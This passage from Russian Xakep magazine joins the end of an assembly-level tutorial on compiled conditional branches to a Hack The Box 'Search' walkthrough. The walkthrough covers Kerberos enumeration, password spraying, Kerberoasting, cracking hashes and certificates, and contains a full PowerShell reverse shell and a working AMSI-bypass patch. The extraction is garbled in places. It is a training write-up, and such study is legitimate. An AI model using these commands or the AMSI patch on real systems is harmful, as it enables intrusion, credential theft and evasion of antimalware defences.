; Вносим этот безусловный переход в наше дерево
                     jmp short loc_140001147

В ито ге получа ется сле дующее.

; --------------------------------------
loc_140001119:                          ; CODE XREF: main+29↑j
; Загружаем в EAX значение переменной var_b

                     mov eax, [rsp+38h+var_b]
; Сравниваем переменную var_a с переменной var_b

                     cmp [rsp+38h+var_a], eax
; Если var_a меньше переменной var_b или равна ей, то выполняется 
переход на метку loc_14000112A

                     jbe short loc_14000112A

При вива ем новое гнез до к нашему дереву, попут но обра щая вни мание на то,
что  и  —  перемен ные!var_a var_b без зна ковые

; Сравниваем значение переменной var_a с нулем
                     cmp [rsp+38h+var_a], 0

; Переход на метку loc_14000113B, если var_a не равна нулю
                     jnz short loc_14000113B

loc_14000112A:                          ; CODE XREF: main+41↑j

Смот ри: в нашем дереве уже есть мет ка . Кор ректи руем ее.loc_14000112A

; Загружаем в EAX значение переменной var_c
                     mov eax, [rsp+38h+var_c]

; Сравниваем значения переменных var_a и var_c
                     cmp [rsp+38h+var_a], eax

; Переход на метку loc_140001147, если var_a != var_c
                     jnz short loc_140001147

; Сравнение значения переменной var_c с нулем
                     cmp [rsp+38h+var_c], 0

; Переход на loc_140001147, если var_c == 0
                jz      short loc_140001147

loc_14000113B:                          ; CODE XREF: main+48↑j
; Смотрим: метка loc_14000113B уже есть в дереве, прививаем

                     lea rcx, aOk        ; "OK\n"
                   call printf

Продолжение статьи →

https://xakep.ru/2022/05/16/nezumi-hacking-guide-20/#toc03.
https://xakep.ru/2022/05/16/nezumi-hacking-guide-20/#toc03.


ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ИЗУЧАЕМ УСЛОВНЫЕ ПЕРЕХОДЫ
В ОБРАБОТКЕ СОВРЕМЕННЫМИ

КОМПИЛЯТОРАМИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

loc_140001147:                          ; CODE XREF: main+37↑j
                                       ; main+52↑j ...
; Ветки loc_140001147 и loc_14000113B смыкаются

; Загружаем в EAX значение переменной var_d
                     mov eax, [rsp+38h+var_d]

; Сравниваем значение переменной var_c со значением var_d
                     cmp [rsp+38h+var_c], eax

; Переход, если var_c != var_d
                     jnz short loc_14000115D
                      lea rcx, asc_14000225C ; "+++\n"
                   call printf

loc_14000115D:                          ; CODE XREF: main+6F↑j
                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

В ито ге вырас тает огромное раз лапис тое дерево, в котором, на пер вый
взгляд, прос то невоз можно разоб рать ся. Но, как говорит ся, гла за боят ся,
а руки дела ют. Пер вым делом опти мизи руем дерево: изба вим ся от «перек- 
ручен ных» вет вей, инверти ровав усло вие в гнез де, и выкинем все мет ки.
Теперь, ког да ске лет дерева пос тро ен, они уже не нуж ны. Если все сде лать
пра виль но, дерево дол жно выг лядеть как на сле дующем рисун ке.

Ло гичес кое дерево

Сра зу же бро сает ся в гла за, что все пути про ходят точ ку Z, спле тающую все
вет ви воеди но. Это зна чит, что мы име ем дело с дву мя самос тоятель ными
деревь ями, пред став ленны ми собс твен ными конс трук циями . Замеча тель- 

но! Такой поворот событий весь ма упро щает ана лиз — раз деревья незави- 
симые, то и ана лизи ровать ся они могут незави симо! Итак, начина ем с вер- 
хне го из них...

IF

От гнез да  отхо дят две вет ки — пра вая ведет к 

и далее к завер шению конс трук ции , а левая, преж де чем

вый ти к точ ке Z, мину ет целое пол чище гнезд. В перево де на рус ский язык
ситу ация выг лядит так: 

. Про ще говоря:
 Короче, левая вет ка гнез да

( ) есть вет ка . Изу чим ее.

var_d != 0 printf("OK")
IF — THEN [ELSE]

ес ли перемен ная  не рав на нулю, то печата ем

OK и сва лива ем, ина че выпол няем допол нитель ные про вер ки

var_d

IF (var_d !=0) THEN printf("OK") ELSE ...
var_d != 0 ELSE

От гнез да ( ) к узлу  ведут два пути:

 и . Где
есть аль тер натива — там всег да есть . То есть либо пер вый путь, либо вто- 

рой.

var_a <= var_b printf("OK") !(var_a
< = var_b) → !(var_a == 0) !(var_a != var_c) → !(var_c == 0)

OR

В то же вре мя узлы обо их путей пос ледова тель но свя заны друг с дру гом,
зна чит, они объ еди нены опе раци ей . Получа ется, эта вет ка дол жна выг- 

лядеть так: 

. При вива ем  к пер вому 

и получа ем: 

.

AND
IF ((var_a > var_b) && (var_0 != 0)) || (var_a == 

var_c) && (var_c != 0)) printf("OK") ELSE IF
IF (var_d !=0) THEN printf("OK") ELSE IF (( var_a > 

var_b) && (var_0 != 0)) || (var_a == var_c) && (var_c != 0)) 
printf("OK")

Ну а раз бор вто рого дерева вооб ще три виален: 
. Итак, соб ранные све дения ука зыва ют, что исходный текст

дизас сем бли руемой прог раммы выг лядел так:

IF (var_c == var_d) 
printf("+++")

u_int a;
u_int b;
?_int c;
?_int d;

 d   if ( ) printf("TRUE"); else
 a  b   a  0   a  c   c  0  if ((( > ) && ( != )) || (( == ) && ( != ))) printf("OK\n");
 c  d  if ( == ) printf("+++\n");

Тип перемен ных  и  мы опре дели ли как , пос коль ку резуль тат

срав нения ана лизи ровал ся без зна ковой условной коман дой — . А вот тип

перемен ных  и , увы, опре делить так и не уда лось. Одна ко это не убав ляет
зна чимос ти того фак та, что мы смог ли рет ран сли ровать слож ное усло вие,
в котором без деревь ев было бы немуд рено и запутать ся...

а b unsigned int
jnb

c d

ÎÏÒÈÌÈÇÀÖÈß ÂÅÒÂËÅÍÈÉ

Ка кое коварс тво: под фла гом опти миза ции прев ратить каж дую строч ку кода
в голово лом ку. Итак, пред положим, встре тил ся тебе код сле дующе го содер- 
жания. На вся кий слу чай, что бы изба вить тебя от копания в спра воч никах
(хотя покопать ся в них лиш ний раз толь ко на поль зу), отме чу, что коман да

 уста нав лива ет выход ной опе ранд в 1, если фла ги сос тояния  и 

рав ны (то есть ). Ина че выход ной опе ранд уста нав лива ется в ноль.

SETGE SF OF
SF==OF

  mov eax, [var_A]
  xor ecx, ecx
  cmp eax, 0x666

 setge cl
 dec ecx
  and ecx, 0xFFFFFC00
  add ecx, 0x300
 mov [var_zzz],ecx

На пер вый взгляд кажет ся, что этот фраг мент заимс тво ван из какого-то хит- 
рого и запутан ного защит ного механиз ма. Но нет, перед нами резуль тат ком- 
пиляции три виаль ного выраже ния

  if (a<0x666) zzz=0x200 else zzz=0x300 

ко торое в неоп тимизи рован ном виде выг лядит так:

 mov eax,[var_A]
  cmp eax, 0x666
 jge Label_1
  mov ecx, 0x100
 jmp Label_2

Label_1:
  mov ecx, 0x300

Label_2:
  mov [var_zzz], ecx

Чем же ком пилято ру не пон равил ся такой вари ант? Меж ду про чим, он даже
короче! Короче-то он короче, но содер жит вет вле ния, то есть внеп лановые
изме нения нор маль ного хода выпол нения прог раммы. А вет вле ния отри- 
цатель но ска зыва ются на про изво дитель нос ти хотя бы уже потому, что они
при водят к очис тке кон вей ера. Кон вей ер же в сов ремен ных про цес сорах
очень длин ный, и быс тро его не запол нишь... Поэто му избавле ние от вет вле- 
ний путем хит роум ных матема тичес ких вычис лений впол не оправдан но
и горячо при ветс тву ется. Попут но это усложня ет ана лиз прог раммы, защищая
ее от вся ких подоз ритель ных лич ностей типа хакеров.

Впро чем, если хорошень ко подумать... Нач нем пошаго во исполнять прог- 
рамму, мыс ленно ком менти руя каж дую строч ку:

   mov eax, [var_A] ; eax == var_A
   xor ecx, ecx ; ecx = 0;
   cmp eax, 0x666 ; if (eax < 0x666) { SF=1; OF=0; } else { SF=0; OF=0; 

}
  setge cl ; if (eax < 0x666) (т.e. SF==1, OF==0) cl=0; else cl=1;

  dec ecx ; if (eax < 0x666) ecx = -1; else ecx = 0;
   and ecx, 0xFFFFFC00 ; if (eax < 0x666) (т.e. ecx == -1) ecx = 

0xFFFFFC00 (-0x400); else ecx = 0;
   add ecx, 0x300 ; if (eax < 0x666) (т.e. ecx = -0x400) ecx = 0x100; 

else ecx = 0x300;
 mov [esp+0x66],ecx

По лучи лось! Мы разоб рались с этим алго рит мом и успешно отре вер сили его!
Теперь вид но, что это доволь но прос той при мер (в жиз ни будут попадать ся
и более слож ные). Но основная идея ясна: если встре чает ся коман да ,
дер жи нос по вет ру — пах нет условны ми перехо дами! В вырож денных слу чаях

 может быть замене на на  (вычита ние с зай мом). По это му поводу

решим вто рую задачу.

SETxx

SETxx SBB

  SUB EBX, EAX
  SBB ECX, ECX
  AND ECX, EBX
  ADD EAX, ECX

Что этот код дела ет? Какие-то слож ные ариф метичес кие дей ствия? Пос- 
мотрим...

   SUB EBX, EAX ; if (EBX < EAX) SF = 1; else SF = 0;
   SBB ECX, ECX ; if (EBX < EAX) ECX = -1; else ECX=0;
   AND ECX, EBX ; if (EBX < EAX) ECX = EBX; else ECX=0;
   ADD EAX, ECX ; if (EBX < EAX) EAX = EAX + (EBX - EAX); else EAX = EAX

Рас кры вая скоб ки в пос леднем выраже нии (мы ведь не забыли, что от 
отня ли ?), получа ем: , то есть это клас сичес кий

алго ритм поис ка миниму ма сре ди двух зна ковых чисел. А вот еще один при- 
мер:

EBX
EAX if (EBX < EAX) EAX=EBX

  CMP EAX, 1
  SBB EAX, EAX
  AND ECX, EAX
  XOR EAX, -1
  AND EAX, EBX
  OR EAX, ECX

Поп робуй решить его самос тоятель но и толь ко потом заг ляни в ответ:

   CMP EAX, 1 ; if (EAX != 0) SF = 0; else SF = 1;
   SBB EAX, EAX ; if (EAX != 0) EAX = -1; else EAX = 0;
   AND ECX, EAX ; if (EAX != 0) ECX = ECX; else ECX = 0;
   XOR EAX, -1 ; if (EAX != 0) EAX = 0; else EAX = -1;
   AND EAX, EBX ; if (EAX != 0) EAX = 0; else EAX = EBX;
   OR EAX, ECX ; if (EAX != 0) EAX = ECX; else EAX = EBX;

Да... пос ле таких упражне ний товарищ Буль будет тебе во сне снить ся!
Но таковы уж издер жки цивили зации. К сло ву ска зать, подав ляющее боль- 
шинс тво ком пилято ров дос таточ но лояль но отно сит ся к условным перехо дам
и не стре мит ся тоталь но их изгнать. Так что осо бо нап рягать ся при ана лизе
опти мизи рован ного кода не при ходит ся (прав да, к руч ной опти миза ции
это не отно сит ся — про фес сиональ ные раз работ чики выкиды вают перехо ды
в пер вую оче редь).

ÈÒÎÃÈ

Се год ня мы еще даль ше зап лыли в море условных опе рато ров и узна ли о них
мно го нового. Глав ным обра зом мы зак репили уже прой ден ный матери ал
на спе циаль но под готов ленных при мерах. Рас смот рев тер нарный опе ратор
и срав нив его с обыч ным условным опе рато ром, мы уви дели, что ком пилято ру
по боль шому сче ту неваж но, какой тип усло вия исполь зует ся в коде на язы ке
высоко го уров ня. В любом слу чае он пыта ется сде лать мак сималь но опти- 
мизи рован ный бинар ник, порой при бегая к инверти рова нию усло вий
или пол ной их замене даже с отклю чен ной агрессив ной опти миза цией.

Цен траль ной темой статьи ста ло исполь зование деревь ев для понима ния
сути вло жен ных усло вий, их мно гочис ленных ходов, выпол нение которых
зависит от пос тупа ющих дан ных и их ана лиза. Понача лу может показать ся, что
исполь зование деревь ев толь ко усложня ет задачу, но чем запутан нее
и наворо чен нее усло вия будут тебе встре чать ся, тем боль шую бла годар ность
это му методу ты будешь испы тывать!

Пос ледней рас смот ренной темой ста ла опти миза ция вет вле ний, где при- 
веде но нес коль ко при меров исполь зования команд условной булевой уста- 
нов ки. Более под робно с теоре тичес кой точ ки зре ния они были опи саны
в раз деле « » прош лой статьи.Ус ловные коман ды булевой уста нов ки

В сле дующей пуб ликации мы закон чим тему условных опе рато ров,
для это го нам оста нет ся рас смот реть, каким обра зом ком пилято ры интер- 
пре тиру ют , как рас познать в дизас сем бли рован ном
лис тинге эту конс трук цию и какую выгоду могут получить наши прог раммы
от ее исполь зования.

switch — case — break

https://xakep.ru/2022/05/16/nezumi-hacking-guide-20/#toc04.
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ВЗЛОМ

В этой статье мы будем зах ватывать сер вер
на Windows: прос каниру ем поль зовате лей
через служ бу Kerberos, про ведем ата ку
Kerberoasting, сни мем защиту с фай ла
Excel, про пат чим AMSI при работе
с PowerShell Web Access и повысим при- 
виле гии через управля емую учет ную запись
(MSA).

На ша цель — машина Search с пло щад ки . Ее уро вень слож- 
ности — hard.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.129    search.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

У нас есть целая куча откры тых пор тов:
53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
443 (HTTPS) — веб-сер вер Microsoft IIS/10.0;•
445, 8172 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

9389 — веб-служ бы AD DS.•

На хос те работа ет мно го служб. Пер вым делом про веря ем SMB и DNS,
но они ничего не дают. Оста ется толь ко веб. Так как на пор те 443 исполь зует- 
ся про токол HTTPS, сра зу обра тим вни мание на его сер тификат. Поле

 содер жит домен ные име на, для которых дей стви телен дан ный
сер тификат. Nmap показы вает эти нас трой ки в резуль татах ска ниро вания, что
поз воля ет нам быс тро опре делить исполь зуемое имя. Добав ляем его в файл

:

commonName

/etc/hosts

10.10.11.129    search.htb research 

Глав ная стра ница сай та

Изу чая сайт, обра щаем вни мание на спи сок сот рудни ков.

Пер сонал сер виса

Так как на хос те работа ет Kerberos, мы можем про верить, сущес тву ет ли
какая-то учет ная запись. В этом нам поможет ата ка ASRep Roasting. Смысл
в том, что мы посыла ем на сер вер аутен тифика ции ано ним ный зап рос
для пре дос тавле ния опре делен ному поль зовате лю дос тупа к какой-либо
услу ге. На что сер вер отве чает одним из трех дей ствий:

пре дос тавля ет хеш;•
от веча ет, что у это го поль зовате ля не выс тавлен флаг 

;
• UAF Dont
Require PreAuth
го ворит, что такого поль зовате ля нет в базе Kerberos.•

Но спер ва сос тавим спи сок поль зовате лей. С помощью сле дующе го кода мы
можем сос тавить все воз можные ком бинации име ни поль зовате ля:

#!/usr/bin/python3

     
   

names = ["Keely Lyons", "Dax Santiago", "Sierra Frye", "Kyla Stewart"
, "Kaiara Spencer", "Dave Simpson", "Ben Thomp

 son", "Chris Stewart"]

   list = ["Administrator", "Guest"]
   for name in names:

     n1, n2 = name.split(' ')
  list.append(n1)
  list.append(n1+n2)
  list.append(n1+"."+n2)
  list.append(n1+n2[0])
  list.append(n1+"."+n2[0])
  list.append(n2[0]+n1)
  list.append(n2[0]+"."+n1)
  list.append(n2)
  list.append(n2+n1)
  list.append(n2+"."+n1)
  list.append(n2+n1[0])
  list.append(n2+"."+n1[0])
  list.append(n1[0]+n2)
  list.append(n1[0]+"."+n2)

   for n in list:
  print(n)

Сох раним спи сок в файл и выпол ним про вер ку с помощью . Для это- 

го исполь зуем опцию  и ука жем адрес ( ), домен ( ) и спи сок
с веро ятны ми име нами учет ных записей.

kerbrute

userenum --dc -d

kerbrute_linux_amd64 userenum --dc search.htb -d search.htb users.txt 

Спи сок поль зовате лей

Все ска ниро вание заняло при мер но секун ду, а мы получа ем три сущес тву- 
ющих акка унта. С помощью скрип та  из пакета 

при меня ем к получен ным име нам ASRep Roasting в надеж де получить зашиф- 
рован ный пароль поль зовате ля. Но безус пешно.

GetNPUsers.py impacket

GetNPUsers.py search.htb/ -usersfile users.txt 

Про вер ка ASRep Roasting

Пот ратив очень мно го вре мени на поиск даль нейше го пути, я нашел на сай те
фотог рафию  каких-то записей.http://search.htb/images/slide_2.jpg

Глав ная стра ница сай та

При уве личе нии кар тинки ста ло понят но, что это спи сок дел, сре ди которых
есть такая строч ка: «Send password to Hope Sharp».

За мет ки поль зовате ля

Про веря ем это имя и узна ем, что такой акка унт в сис теме есть.

Про вер ка сущес тво вания име ни поль зовате ля

Те перь мы можем про верить и ука зан ный пароль с помощью
.CrackMapExec

 crackmapexec smb search.htb -u users.txt -p 'IsolationIsKey?'

Password Spraying с помощью CME

И получа ем пер вую учет ку!

ÒÎ×ÊÀ ÂÕÎÄÀ

Те перь логич но пой ти на SMB и пос мотреть, что рас положе но на дос тупных
ресур сах.

    crackmapexec smb search.htb -u 'Hope.Sharp' -p 'IsolationIsKey?'
--shares

Спи сок общих SMB-ресур сов

По ходив по раз ным катало гам, ничего инте рес ного не обна ружи ваем.
Из необыч ного — лишь дирек тория , которая выводит

нас на домаш ние катало ги всех поль зовате лей. Прод винуть ся даль ше это не
помога ет, но мож но получить име на всех поль зовате лей.

RedirectedFolders$

    crackmapexec smb search.htb -u 'Hope.Sharp' -p 'IsolationIsKey?'
--users

Спи сок поль зовате лей

В ито ге получа ем боль шой спи сок поль зовате лей. Сох ранить в файл толь ко
име на мож но такой коман дой:

    
 |     2 | 

crackmapexec smb search.htb -u 'Hope.Sharp' -p 'IsolationIsKey?'
--users grep badpwdcount | cut -d '' -f cut

   1 -d ' ' -f > users.txt 

Вы пол няем с ним все те же опе рации, но ни к чему не при ходим. Одна ко мы
не поп робова ли одно го...

Àòàêà Kerberoasting

Ре али зация про токо ла Kerberos в Windows исполь зует име на учас тни ков
служ бы (SPN), что бы опре делить, какую учет ную запись задей ство вать
для шиф рования билета служ бы. В Active Directory сущес тву ет два вари анта
SPN: SPN на осно ве хос та и про изволь ные SPN. Пер вый вари ант SPN свя зан
с учет ной записью компь юте ра домена, а вто рой обыч но (но не всег да) —
с учет кой поль зовате ля домена.

Про ще говоря, если зап росить билет, он будет зашиф рован паролем учет- 
ной записи, SPN которой был пре дос тавлен. И если мы получим билет, мы
смо жем его прос то проб рутиь, что бы узнать пароль учет ки!

Ав томати зация зап роса имен SPN, а затем еще и билетов выпол нена
в скрип те  из набора . Для его исполь зования дос- 

таточ но ука зать опцию .

GetUserSPNs impacket

-request

 GetUserSPNs.py -request -dc-ip 10.10.11.129 search.htb/Hope.Sharp:
'IsolationIsKey?'

Зап рос имен SPN

И есть одна учет ная запись, которую мы можем попытать ся зах ватить, —
. Вот толь ко билет получить не уда ется, потому что вре мя на хос тах

зна читель но отли чает ся (а в Kerberos эта раз ница не дол жна пре вышать пяти
минут). Син хро низи ровать вре мя на локаль ном хос те нам поможет про токол
NTP:

web_svc

sudo ntpdate search.htb 

Те перь пов торя ем зап рос билета и получа ем хеш!

По луче ние тикета

Сра зу закиды ваем его в  и ука зыва ем режим 13100 (параметр ):hashcat -m

hashcat -m 13100 -a 0 web_svc.hash rockyou.txt 

Па роль поль зовате ля

По луча ем пароль поль зовате ля и запус каем спрей по всем учет ным записям.
Высока веро ятность, что он будет исполь зован еще где-то.

  crackmapexec smb search.htb -u users.txt -p '@3ONEmillionbaby'
--continue-on-success

Ре зуль тат Password Spraying

Ре зуль тат Password Spraying (про дол жение)

Как я и пред полагал, мы забира ем еще одну учет ку. В домаш нем катало ге
поль зовате ля на рабочем сто ле есть файл XLSX, который мы ска чива ем
на локаль ную машину коман дой .get

smbclient //search.htb/RedirectedFolders$ -U edgar.jacobs 
cd edgar.jacobs\Desktop 
get Phishing_Attempt.xlsx 

Со дер жимое домаш него катало га поль зовате ля

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ropnop/kerbrute
https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
https://github.com/SecureAuthCorp/impacket
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
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ÒÎ×ÊÀ ÎÏÎÐÛ

XLS sheet protect unlock

От кры ваем файл с учет ными дан ными и видим скры тый стол бец С.

Со дер жимое докумен та Phishing_Attempt.xlsx

Раз дви нуть стол бцы не выходит, так как лист докумен та защищен паролем
от изме нения.

Со обще ние о зап рете редак тирова ния

Но такую защиту мож но лег ко снять. Откро ем документ как архив и най дем
в нем нас трой ки для нуж ного лис та. У нас это вто рой лист, поэто му нужен
файл .sheet2.xml

Со дер жимое архи ва

В этом фай ле находим и уда ляем сле дующую стро ку, это поле
.sheetProtection

  

 
    

<sheetProtection algorithmName="SHA-512" hashValue=
"hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/
22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue=
"U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1"
scenarios="1"/>

По ле sheetProtection

Пе ресох раня ем файл и откры ваем документ. Готово: защиты боль ше нет.
Раз дви гаем стол бец С и получа ем спи сок паролей.

Пол ные учет ные дан ные поль зовате лей

Те перь нуж но про верить их валид ность. Для это го выбира ем и сох раня ем
в файл с пароля ми стол бец C, а в файл с име нами учет ных записей — стол- 
бец D. Пос ле это го переби раем их с помощью уже при меняв шегося
CrackMapExec, толь ко с опци ей . С этой опци ей CME
не будет переби рать все воз можные сочета ния. Вмес то это го он исполь зует
для пер вого име ни пер вый пароль из спис ка, для вто рого — вто рой и так
далее.

--no-bruteforce

 
crackmapexec smb search.htb -u ./xls_users.txt -p ./xls_pass.txt 
--continue-on-success --no-bruteforce

Пе ребор учет ных дан ных из докумен та XLSX

В ито ге мы получа ем еще одно го поль зовате ля — Sierra.Frye. А на рабочем
сто ле это го юзе ра есть пер вый флаг.

Со дер жимое домаш него катало га поль зовате ля Sierra.Frye

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Прос матри вая осталь ные катало ги поль зовате ля, вро де докумен тов и заг- 
рузок, находим сер тифика ты.

Со дер жимое катало га /Downloads/Backups

Сер тификат мож но прос то открыть и прос мотреть, для это го я изме нил рас- 
ширение на .crt. Но у нас зап росили пароль.

За щищен ный паролем сер тификат staff

Эти пароли бру тят ся, а для их извле чения сущес тву ет целый пакет скрип тов
 (уже есть в Kali Linux). Нам нужен , который в качес тве аргу- 

мен та при нима ет толь ко путь к фай лу.

2john pfx2john.py

По луче ние хеша пароля сер тифика та

От прав ляем на перебор в прог рамму  и спус тя некото рое

вре мя получа ем пароль.

John The Ripper

john --wordlist=~/tmp/tools/rockyou.txt pfx_hash 

Па роль для сер тифика та

Те перь откры ваем сер тификат и смот рим его дан ные.

Со дер жимое сер тифика та

Это сер тификат для веб-при ложе ния. Что бы его исполь зовать, мы дол жны
добавить его в хра нили ще сер тифика тов бра узе ра (Settings → Privacy &
Security → Security → View certicate).

Ме нед жер сер тифика тов бра узе ра Firefox

До бав ление сер тифика та

Те перь оста лось най ти сер вис, для которо го нужен сер тификат. Я поп- 
робовал что-то вро де , , а так же

поля из самого сер та, но все безус пешно. Тог да я поп робовал исполь зовать
имя фай ла сер тифика та. С адре са  про изо шел
редирект на .

search.research.htb research.search.htb

https://search.htb/staff/
https://search.htb/staff/en-US/logon.aspx

Стра ница авто риза ции Windows PowerShell Web Access

PowerShell Web Access — это фича, при помощи которой мож но управлять
сер вером уда лен но через бра узер при помощи PowerShell. Авто ризу емся
от име ни поль зовате ля Sierra.Frye и получим кон соль PowerShell.

Кон соль PowerShell Web Access

За тем я поп робовал про кинуть реверс-шелл для PowerShell, но мне помешал
AMSI.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.48',4321)
;
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
   $data = (New-Object -TypeName System.Text.ASCIIEncoding).
GetString($bytes,0, $i);
   $sendback = (iex $data 2>&1 | Out-String );
   $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
   $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
   $stream.Write($sendbyte,0,$sendbyte.Length);
   $stream.Flush();
}
   $client.Close();

AMSI обна ружил вре донос ный кон тент

AMSI Bypass

 — это ком понент Microsoft Windows,

который обес печива ет более глу бокую про вер ку встро енных служб сце нари- 
ев. Прод винутое вре донос ное ПО укло няет ся от тра дици онных методов про- 
вер ки с помощью замас кирован ных или зашиф рован ных сце нари ев. Такое
вре донос ное ПО час то заг ружа ется непос редс твен но в память, поэто му
не исполь зует фай лы на устрой стве. AMSI — это интерфейс, через который
при ложе ния и служ бы отправ ляют зап росы на про вер ку уста нов ленно му
на компь юте ре анти виру су.

Antimalware Scan Interface (AMSI)

Но мы можем запат чить AMSI, что бы наш код не ухо дил на про вер ку. Этот
метод я взял из кур са OSEP, он зак люча ется в изме нении адре сов заголов ков

 (кон текст, в котором про исхо дит ска ниро вание). В этом вари- 

анте мы будем «занулять» ука затель.

amsiContext

INFO

Под робнее про обход AMSI — в статье «

».

F#ck
AMSI! Как обхо дят Anti-Malware Scan Interface
при зараже нии Windows

Пер вым делом мы получа ем все типы, опре делен ные в этой сбор ке, и ищем
.AmsiUtils

$a=[Ref].Assembly.GetTypes()
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}

Те перь получа ем его поля, из которых выбира ем .amsiContext

$d=$c.GetFields('NonPublic,Static')
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}

За тем — адрес, по которо му хра нит ся зна чение.

$g=$f.GetValue($null)
[IntPtr]$ptr=$g

И записы ваем по дан ному адре су 0.

[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Те перь мож но ввес ти стро ку , что бы про верить работу AMSI.
Но PowerShell прос то выведет ее вмес то того, что бы заб локиро вать.
Это говорит о том, что AMSI боль ше нам не помеша ет.

'amsiutils'

Пат чинг AMSI

Пов торя ем наш реверс-шелл и получа ем бэк коннект.

По луче ние бэк коннек та

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

В сис теме очень мно го поль зовате лей, поэто му для быс тро го и удоб ного
сбо ра информа ции и ее даль нейше го ана лиза будем исполь зовать

. BloodHound исполь зует гра фы для выяв ления скры тых и час то

неп редна мерен ных вза имос вязей в сре де Active Directory. Его мож но исполь- 
зовать, что бы лег ко иден тифици ровать очень слож ные пути ата ки, которые
ина че было бы невоз можно быс тро иден тифици ровать.

BloodHound

Из началь но саму наг рузку, реали зован ную на PowerShell или C#, нуж но
было запус кать на целевом хос те. Но есть и вер сия на Python, которую мож но
исполь зовать пря мо с Linux. Заг рузим BloodHound с GitHub и уста новим:

git clone https://github.com/fox-it/BloodHound.py.git 
cd BloodHound.py 
python3 setup.py install

А теперь соберем информа цию с целево го хос та, бла го это не зай мет мно го
вре мени. В парамет рах ука зыва ем учет ные дан ные для под клю чения, адрес
хос та и тип собира емой информа ции — всю (параметр , зна чение ).-c all

 
  

All 

bloodhound-python -u Sierra.Frye -p
'$$49=wide=STRAIGHT=jordan=28$$18' -ns 10.10.11.129 -d search.htb -c

Ло ги BloodHound

В логах видим, сколь ко доменов, лесов и компь юте ров было най дено, сколь- 
ко поль зовате лей и групп получе но. В резуль тате работы BloodHound
в текущей дирек тории будет соз дано нес коль ко фай лов. Для работы с ними
нам нуж но уста новить СУБД  и гра фичес кую оснас тку bloodhound

для отри сов ки гра фов свя зей.

Neo4j

apt sudo install neo4j bloodhound 

За пус тим Neo4j коман дой . Пос ле сооб щения
об успешном стар те зай дем на  через бра узер.

Нам сра зу пред ложат уста новить пароль. Пос ле уста нов ки пароля запус тим
BloodHound (коман да  в коман дной стро ке) и авто ризу емся
с толь ко что уста нов ленным паролем. Откро ется пус тое окош ко — закинем
в него получен ные от BloodHound фай лы с кодом на Python. Затем выберем
опцию поис ка путей для повыше ния при виле гий и получим малень кий граф.

sudo neo4j console
http://localhost:7474/

bloodhound

Граф путей повыше ния при виле гий

Пер вым делом у нас дол жна быть учет ная запись BD-ADFS-
GMSA.SEARCH.HTB. Пос коль ку у нее есть пра во GenericAll для учет ки
TRISTAN.DAVIES, мы можем манипу лиро вать парамет рами под кон троль ного
поль зовате ля, вплоть до сме ны пароля. А уже этот поль зователь явля ется
адми нис тра тором. Имя учет ной записи натал кива ет на мысль о MSA.

Óïðàâëÿåìûå ó÷åòíûå çàïèñè

Уп равля емые учет ные записи (MSA) — это спе циаль ный тип учет ных записей
Active Directory, которые мож но исполь зовать для безопас ного запус ка служб,
при ложе ний и заданий пла ниров щика. Основная их идея в том, что паролем
таких учет ных записей пол ностью управля ет Active Directory. Для них авто- 
мати чес ки генери рует ся слож ный пароль дли ной 240 сим волов, который
меня ется авто мати чес ки каж дые 30 дней.

Для аутен тифика ции исполь зует ся толь ко Kerberos, так как инте рак тивный
